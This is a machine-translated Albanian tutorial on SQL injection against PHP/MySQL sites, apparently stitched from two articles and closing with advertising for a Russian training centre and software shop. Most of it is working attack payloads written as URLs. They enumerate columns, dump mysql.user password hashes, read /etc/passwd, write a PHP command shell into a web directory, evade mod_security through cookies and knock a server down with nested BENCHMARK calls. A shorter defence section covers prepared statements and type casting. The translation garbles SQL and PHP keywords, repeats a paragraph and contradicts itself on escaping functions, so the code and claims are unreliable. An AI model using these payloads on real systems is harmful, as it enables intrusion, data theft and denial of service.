Çfarë ndodh nëse futim kodin e mëposhtëm në URL?

Http://example.com/users/?id=1 DHE 1=0 UNION SELECT 1,concat(hyrja,fjalëkalimi), 3,4,5,6 NGA përdoruesit WHERE id =1; --

Ndoshta, një kërkesë e tillë do të kthejë hyrjen e përdoruesit dhe ... një hash të fjalëkalimit të tij. Pjesa e parë e kërkesës 'AND 1=0' e kthen atë që i paraprin në false, kështu që nuk do të merret asnjë regjistrim. Dhe pjesa e dytë e kërkesës do të kthejë të dhënat në formën e të dhënave të përgatitura. Dhe meqenëse parametri i parë është id, tjetri do të jetë identifikimi i përdoruesit dhe hash-i i fjalëkalimit të tij dhe disa parametra të tjerë. Ka shumë programe që përdorin forcë brutale për të deshifruar një fjalëkalim si ai në shembull. Dhe duke qenë se përdoruesi mund të përdorë të njëjtin fjalëkalim për shërbime të ndryshme, është e mundur të fitohet akses në to.

Dhe këtu është ajo që është kurioze: është krejtësisht e pamundur të mbrohesh kundër këtij lloji sulmi duke përdorur metoda si `mysql_real_escape_string`, `addslashes`, etj. d Në thelb, nuk ka asnjë mënyrë për të shmangur një sulm të tillë, kështu që nëse parametrat kalohen si kjo:

"ZGJEDH ID, login, email, param1 FROM users WHERE id = " . addslashes($_GET["id"]);"

problemet nuk do të largohen.

Shpëtimi i karaktereve në një varg

Kur isha i ri në programim, e kisha të vështirë të punoja me kodime. Nuk e kuptova cili ishte ndryshimi midis tyre, pse të përdorni UTF-8 kur keni nevojë për UTF-16, pse baza e të dhënave e vendos gjithmonë kodimin në latin1. Kur më në fund fillova të kuptoja të gjitha këto, zbulova se do të kishte më pak probleme nëse do të mbaja gjithçka në një standard kodimi. Gjatë renditjes së gjithë kësaj, vura re gjithashtu çështje sigurie që lindin gjatë konvertimit nga një kodim në tjetrin.

Problemet e përshkruara në shumicën e shembujve të mëparshëm mund të shmangen duke përdorur thonjëza të vetme në pyetje. Nëse përdorni addslashes() , sulmet e injektimit SQL që mbështeten në thonjëza të vetme të arratisura me një vijë të prapme do të dështojnë. Por një sulm i tillë mund të funksionojë nëse thjesht zëvendësoni një karakter me kodin 0xbf27, addslashes() e konverton atë në një karakter me kodin 0xbf5c27 - dhe ky është një karakter plotësisht i vlefshëm me citat e vetme. Me fjalë të tjera, `뼧` do të kalojë përmes addslashes() dhe më pas hartëzimi i MySQL do ta shndërrojë atë në dy karaktere 0xbf (¿) dhe 0x27 (‘).

"SELECT * FROM përdoruesit WHERE login = ""; . addslashes($_GET["login"]) . ";"";

Ky shembull mund të hakohet duke kaluar 뼧 ose 1=1; -- në fushën e hyrjes në formë. Motori SQL do të gjenerojë pyetjen përfundimtare si kjo:

SELECT * NGA përdoruesit WHERE login = "¿" OSE 1=1; --

Dhe do të kthejë përdoruesin e parë nga baza e të dhënave.

Mbrojtja

Si të mbroni aplikacionin? Ka shumë metoda, përdorimi i të cilave nuk do ta bëjë aplikacionin plotësisht të paprekshëm, por të paktën do të rrisë sigurinë e tij.

Duke përdorur mysql_real_escape_string

Funksioni addslashes() është jo i besueshëm sepse nuk lejon shumë raste hakerimi. mysql_real_escape_string nuk ka probleme të tilla

Duke përdorur MySQLi

Kjo shtesë MySQL mund të funksionojë me parametra të lidhur:

$stmt = $db->prepare("update uets set parameter = ? ku id = ?"); $stmt->bind_param("si", $name, $id); $stmt->ekzekutoni();

Duke përdorur PDO

Rrugë e gjatë për të zëvendësuar parametrat:

$dbh = PDO e re ("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("INSERT NE REGJISTRI (emri, vlera) VLERAT (:name, :value)"); $stmt->bindParam(":name", $name); $stmt->bindParam(":value", $value); // fut një rresht $name = "një"; $value = 1; $stmt->ekzekutoni();

Mënyra e shkurtër:

$dbh = PDO e re ("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("UPDATE personat SET name = :new_name WHERE id = :id"); $stmt->ekzekutoni(array("emri_i_ri" => $emri, "id" => $id));

Duke përdorur ORM

Përdorni parametrat ORM dhe PDO dhe lidhni (përdorni lidhjen). Shmangni SQL në kodin tuaj, nëse shihni SQL në kodin tuaj, atëherë ka diçka që nuk shkon me të.

ORM do të kujdeset për sigurinë në pengesat në verifikimin e kodit dhe parametrave.

konkluzionet

Qëllimi i kësaj serie nuk është të sigurojë një udhëzues të plotë për hakerimin e faqeve të internetit, por të sigurojë sigurinë e aplikacionit dhe të parandalojë sulmet nga çdo burim. Unë u përpoqa ta shkruaj këtë artikull jo vetëm për programuesit - ata duhet të jenë të vetëdijshëm për çdo kërcënim në kod dhe të dinë t'i parandalojnë ato, por edhe për inxhinierët cilësorë - sepse detyra e tyre është të gjurmojnë dhe raportojnë çështje të tilla.

Injeksioni SQL është një cenueshmëri që ndodh si rezultat i verifikimit të pamjaftueshëm të vlerave të marra nga përdoruesi në një skript ose program. Unë do të shikoj injeksione në një bazë të dhënash MySQL. Kjo bazë të dhënash është një nga më të përhapurat. Nëse nuk specifikohet ndryshe, konsiderohet se injektimi mysql është i mundur në një skript php.
(5140 shikime në 1 javë

Phoenix

faqja, së bashku me Qendrën e Trajnimit Informzashita dhe dyqanin online të softuerit Softkey.ru, po organizon një konkurs për artikullin më të mirë mbi temën e sigurisë së informacionit.

Injeksioni SQL është një cenueshmëri që ndodh si rezultat i verifikimit të pamjaftueshëm të vlerave të marra nga përdoruesi në një skript ose program. Unë do të shikoj injeksione në një bazë të dhënash MySQL. Kjo bazë të dhënash është një nga më të përhapurat. Nëse nuk specifikohet ndryshe, konsiderohet se injektimi mysql është i mundur në një skript php.

Zbulimi i pranisë së injektimit SQL.

Shpesh, prania e injektimit SQL mund të tregohet nga gabime që tregojnë qartë se ka ndodhur një gabim në pyetjen sql. Në të njëjtën kohë, prania e një gabimi në një pyetje SQL gjithashtu mund të gjykohet nga shenja indirekte.

Për të kontrolluar nëse një parametër i caktuar është filtruar plotësisht apo jo, kalojmë vlera pak të modifikuara të këtij parametri. Për shembull, në vend të http://site/test.php?id=12 ne transmetojmë.

http://site/test.php?id=12"

http://site/test.php?id=aaa

http://site/test.php?id=13-1

Nëse kërkesa e fundit prodhon një faqe të ngjashme me http://site/test.php?id=12, kjo në shumicën e rasteve mund të tregojë qartë praninë e një injeksioni SQL në një parametër numër të plotë të pafiltruar.

Analiza e bazës së të dhënave përmes injektimit MySQL.

Dhe kështu, le të themi se dimë për filtrimin e pamjaftueshëm të parametrit id në skriptin http://site/test.php?id=12

Prania e mesazheve të detajuara të gabimit, me tekstin e pyetjes SQL në të cilën ndodhi gabimi, do të zvogëlojë në minimum vështirësinë e shfrytëzimit të injektimit SQL. Megjithatë, mund të bëhet shumë edhe nëse nuk shfaqen fare mesazhe gabimi.

Ju lutemi vini re se edhe nëse teksti i gabimit nuk shfaqet, prapëseprapë mund të gjykoni qartë nëse ka ndodhur një gabim apo jo (për shembull, pyetja ktheu një rezultat bosh).

Në veçanti, është e mundur që në rast gabimi, të kthehet një kod përgjigjeje 500, ose një ridrejtim në faqen kryesore, ndërsa nëse rezultati i kërkesës është bosh, do të kthehet një faqe bosh.

Për të identifikuar këto shenja të vogla, duhet të shkruani pyetje http që e dini se do të çojnë në një pyetje të saktë (por që kthen daljen bosh) SQL dhe që do të çojë në një pyetje të pasaktë SQL. Për shembull, nëse parametri id nuk filtrohet

http://site/test.php?id=99999 ndoshta do të kthejë një pyetje bosh sql, ndërsa

http://site/test.php?id=99999" duhet të gjenerojë një gabim.

Tani, duke ditur se si të dallojmë një kërkesë të gabuar nga ajo boshe, ne fillojmë të nxjerrim vazhdimisht informacione rreth kërkesës dhe bazës së të dhënave.

Le të shqyrtojmë rastin kur injektimi ndodh pas ku. Nëse po shqyrtojmë një bazë të dhënash MySQL, atëherë marrja e informacionit nga baza e të dhënave mund të jetë e mundur vetëm nëse serveri ka versionin 4.*, atëherë është e mundur të futet bashkimi në pyetje

1) numri i fushave midis selektimit dhe vendit ku

Ne përpiqemi në mënyrë sekuenciale derisa të marrim kërkesën e saktë:

http://site/test.php?id=99999+union+select+null/*

http://site/test.php?id=99999+union+select+null,null/*

Për më tepër, nëse nuk është e mundur të ndani një kërkesë të pavlefshme nga ajo që ktheu një rezultat bosh, mund ta bëni këtë:

http://site/test.php?id=12+union+select+null/*

http://site/test.php?id=12+union+select+null,null/*

Për ta bërë këtë, mjafton që ne të jemi në gjendje të ndajmë pyetjen e saktë nga ajo e pasakta, dhe kjo është gjithmonë e mundur nëse ekziston një fakt i injektimit të SQL.

Pasi të marrim pyetjen e saktë, numri i nulleve do të jetë i barabartë me numrin e fushave midis selektimit dhe vendit ku

2) numri i kolonës me daljen. Ne do të duhet të dimë se në cilën kolonë ndodh dalja në faqe.

Në të njëjtën kohë, nëse në faqe shfaqen disa parametra, atëherë është më mirë të gjeni atë që duket se ka madhësinë më të madhe të llojit të të dhënave (teksti është më i miri), si përshkrimi i produktit, teksti i artikullit etj. Ne po e kërkojmë atë:

http://site/test.php?id=9999+union+select+"test",null,null/*

http://site/test.php?id=9999+union+select+null,"test",null/*

Dhe derisa të shohim fjalën test në vendin që na nevojitet.

Ju lutemi vini re se në këtë rast një nga këto pyetje do të kthejë patjetër një vlerë jo bosh.

Këtu mund të hasni një grackë: në skript, mund të ketë një kontroll për të parë nëse një nga parametrat është bosh (për shembull, id), këtu do t'ju duhet të përdorni veçorinë MySQL, një lloj numerik mund të hidhet në çdo lloj të dhënash, pa shkaktuar gabim dhe në mënyrë të tillë që të ruajë kuptimin e saj.

http://site/test.php?id=9999+union+select+1,2,3/*

I njëjti mashtrim do të funksionojë kur t'i shmangen kuotave.

Komenti hapës shtohet për të hedhur poshtë pjesën tjetër të kërkesës, nëse ka. MySQL u përgjigjet normalisht komenteve të pambyllura.

3) emrat e tabelave

Tani mund të përsërisni mbi emrat e tabelave.

http://site/test.php?id=12+union+select+null,null,null+from+table1/*

Pyetjet e vlefshme do të përputhen me emrat ekzistues të tabelave. Ndoshta do të jetë interesante të kontrolloni ekzistencën e tabelave të përdoruesve, fjalëkalimeve, regusuesve, etj., etj.

4) informacioni i sistemit

Tashmë kemi informacion të mjaftueshëm për të bërë një kërkesë të tillë.

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user/*

Nëse keni të drejta për të zgjedhur nga baza e të dhënave mysql, atëherë kjo pyetje do të kthejë një hash fjalëkalimi, i cili në shumicën e rasteve mund të deshifrohet lehtësisht. Nëse shfaqet vetëm një rresht nga kërkesa (për shembull, në vend të trupit të artikullit), atëherë mund të lëvizni përgjatë vijave

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+0.1/*

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+1,1/*

Përveç kësaj, ju mund të mësoni shumë gjëra interesante:

http://site/test.php?id=9999+union+select+null,BAZA (),null/*

http://site/test.php?id=9999+union+select+null,USER(),null/*

http://site/test.php?id=9999+union+select+null,VERSION(),null/*

5) emrat e kolonave në tabelë

Ato janë të ngjashme, mund t'i renditni sipas: http://site/test.php?id=9999+union+select+null,row1,null+from+table1/* e kështu me radhë.

skedarët e tekstit përmes injektimit MySQL.

Nëse përdoruesi nën të cilin aksesohet baza e të dhënave ka të drejta file_priv, atëherë mund të merrni tekstin e një skedari arbitrar

http://site/test.php?id=9999+union+select+null,LOAD_FILE("/etc/passwd"),null/*

shkrimi i skedarëve në një direktori ueb (shell php).

Siç ka treguar praktika, nëse kemi të drejta file_priv, një direktori që mund të shkruhet nga të gjithë përdoruesit, gjithashtu e aksesueshme nga uebi (ndonjëherë ngarkimi, banderola, etj. direktori), dhe ne gjithashtu dimë emrin e të paktën një tabele (mysql.user, për shembull, do të ndodhë nëse keni akses në një bazë të dhënash mysql), atëherë mund të ngarkoni një skedar arbitrar në server duke përdorur një injeksion të këtij lloji.

http://site/test.php?id=9999+union+select+null,"+system($cmd)+?
>",null+from+table1+into+outfile+"/usr/local/site/www/banners/cmd.php"/*

Në këtë rast, kërkohet ndërtimi nga tabela1.

Nëse, përveç kësaj, faqja ka një dobësi që ju lejon të ekzekutoni skedarë arbitrar në server (përfshi ("/path/$file.php")), atëherë, në çdo rast, mund të ngarkoni guaskën php, për shembull , në drejtorinë /tmp/ dhe më pas merrni këtë skedar nga atje duke përdorur një cenueshmëri në përfshirjen.

injeksion paslimit.

Shumë shpesh mundësia e injektimit SQL ndodh brenda parametrit të kaluar në limit. Ky mund të jetë numri i faqes, etj., etj.

Praktika tregon se të gjitha sa më sipër mund të zbatohen në këtë rast.

MySQL u përgjigjet saktë pyetjeve si:

Zgjidh…kufiri 1,2 zgjidh bashkimin….

Zgjidh… limit 1 bashkim zgjidhni….

Nëse dëshironi që nënpyetja e parë të kthejë një rezultat bosh, duhet të vendosni artificialisht kompensime të mëdha për pyetjen e parë:

Zgjidh... limit 99999.1 union zgjidhni.... Ose, Zgjidh... limit 1,0 union select....

disa gracka.

Gracka më e zakonshme mund të jetë përfshirja e kuotave magjike në konfigurimin e php. Në rastin e parametrave të vargut, kjo përgjithësisht do të shmangë mundësinë e injektimit SQL, dhe në rastin e parametrave të numrave të plotë (fraksionalë), në pyetje të tilla do të jetë e pamundur të përdoren thonjëza, dhe për rrjedhojë vargjet.

Pjesërisht, funksioni char do të na ndihmojë të zgjidhim këtë problem, i cili kthen një varg sipas kodeve të karaktereve. Për shembull

http://site/test.php?id=9999+union+select+char(116,101,115,116),null,null/*

http://site/test.php?id=9999+union+select+char(116,101,115,116),null,null+from_table1/*

http://site/test.php?id=9999+union+select+null,LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),null/*

I vetmi kufizim. Nëse dëshironi të bëni në outfile, atëherë duhet të kaloni emrin e skedarit në thonjëza si emër skedari. në char (...) hedh një gabim.

2) Mod_security.

Duket se ky modul i serverit në internet Apache e bën të pamundur shfrytëzimin e cenueshmërisë së injektimit SQL. Megjithatë, me disa konfigurime të PHP dhe këtij moduli, sulmi mund të kryhet në mënyrë transparente ndaj këtij moduli.

Konfigurimi i parazgjedhur i modulit mod_security nuk filtron vlerat e kaluara si cookie. Në të njëjtën kohë, në disa raste, dhe gjithashtu në disa konfigurime të paracaktuara të php, variablat e cookie-ve regjistrohen automatikisht.

Kështu, vlerat e variablave me qëllim të keq mund të kalohen si vlera cookie, plotësisht transparente për mod_security.

Injeksion DOS në MySQL.

Nëse nuk është e mundur të përdoret union në një pyetje, për shembull, MySQL është versioni 3.*, atëherë, megjithatë, injeksioni mund të shfrytëzohet, për shembull, për të detyruar serverin e bazës së të dhënave të shterojë të gjitha burimet e tij.

Për ta bërë këtë, ne do të përdorim funksionin BENCHMARK, i cili përsërit ekzekutimin e shprehjes expr një numër të caktuar herë të specifikuar në argumentin count. Si shprehje bazë, le të marrim një funksion që kërkon pak kohë. Për shembull, md5 (). Le të marrim aktual_date si varg në mënyrë që vargu të mos përmbajë thonjëza. Funksionet BENCHMARK mund të futen brenda njëri-tjetrit. Dhe kështu, le të krijojmë një kërkesë:

http://site/test.php?id=BENCHMARK(10000000,BENCHMARK(10000000,md5(data_aktuale)))

Ekzekutohen 1000000 kërkesa md5 (në varësi të kapacitetit të serverit), afërsisht 5 sekonda, 10000000 do të ekzekutohen në rreth 50 sekonda. Standardi i mbivendosur do të marrë një kohë shumë të gjatë për t'u ekzekutuar, në çdo server. Tani gjithçka që mbetet është të dërgohen deri në disa dhjetëra kërkesa të ngjashme http në sekondë në mënyrë që serveri të jetë në rënie të vazhdueshme.

lloje të tjera të injektimit MySQL.

Filtrimi i vlerave të numrave të plotë për parametrat e numrave të plotë dhe kuotat për parametrat e vargut ndonjëherë nuk mjafton. Ndonjëherë përdorimi i karaktereve speciale % dhe _ brenda një pyetjeje të ngjashme mund të çojë në funksionalitet të paqëllimshëm. Për shembull:

mysql_query("përzgjidh id nga përdoruesit ku fjalëkalimi si "".addslashes($password)."" dhe përdorues si "".addslashes($user).""");

në këtë rast, fjalëkalimi % do të funksionojë për çdo përdorues

apache mod_rewrite

Në disa raste, injektimi SCL është i mundur edhe në një parametër që konvertohet nga metodat mod_rewrite të modulit Apache në një parametër skripti GET.

Për shembull, skriptet si /news/127.html konvertohen në /news/news.php?id=127 sipas rregullit të mëposhtëm: RewriteRule ^/news/(.*)\.html$ "/news/news.php? id=$1"

Kjo do të lejojë që vlerat e parametrave me qëllim të keq të kalohen në skript. Kështu, për shembull /news/128-1.html

Nëse shfaqen mesazhe të detajuara gabimi, mund të zbuloni menjëherë adresën e kërcitjes dhe më pas, duke zgjedhur një parametër, të punoni me të. Nëse jo, atëherë mund ta hetoni cenueshmërinë duke redaktuar drejtpërdrejt emrin e skedarit.

Shkurtimisht për mbrojtjen.

Për t'u mbrojtur nga të gjitha sa më sipër, mjafton të ndiqni disa rregulla të thjeshta.

1) për vlerat e plota dhe të pjesshme, para se t'i përdorni në një pyetje, mjafton të konvertoni vlerën në llojin e dëshiruar.

$id=(int)$id; $total=(float)$total;

Në vend të kësaj, mund të futni një sistem gjurmimi për testimin e injektimit SQL.

if((string)$id(string)(int)$id) (

//shkruani në regjistër për përpjekjen

2) për parametrat e vargut që nuk përdoren në like, regexp, etj., i shpëtojmë thonjëzave.

$str=shton vrima ($str);

ose me mire akoma,

mysql_escape_string ($str)

3) në linjat që supozohet të përdoren brenda si, regexp, etj., është gjithashtu e nevojshme të shmangen karakteret speciale të përdorura në këta operatorë, nëse është e nevojshme. Përndryshe, ju mund të dokumentoni përdorimin e këtyre simboleve.

Qendra e trajnimit "Informzashita" http://www.itsecurity.ru - një qendër kryesore e specializuar në fushën e trajnimit të sigurisë së informacionit (Licenca e Komitetit të Arsimit të Moskës Nr. 015470, Akreditimi Shtetëror Nr. 004251). E vetmja qendër trajnimi e autorizuar për Sistemet e Sigurisë në Internet dhe Clearswift në Rusi dhe vendet e CIS. Qendër trajnimi e autorizuar nga Microsoft (specializimi i sigurisë). Programet e trajnimit koordinohen me Komisionin Teknik Shtetëror të Rusisë, FSB (FAPSI). Certifikatat e trajnimit dhe dokumentet shtetërore për formimin e avancuar.

SoftKey është një shërbim unik për blerësit, zhvilluesit, tregtarët dhe partnerët e filialeve. Për më tepër, ky është një nga dyqanet më të mira të softuerëve në internet në Rusi, Ukrainë, Kazakistan, i cili u ofron klientëve një gamë të gjerë produktesh, shumë mënyra pagese, përpunim të shpejtë (shpesh të menjëhershëm) të porosive, ndjekje të procesit të porosisë në seksionin personal, të ndryshme zbritje nga dyqani dhe prodhuesit BY.




Top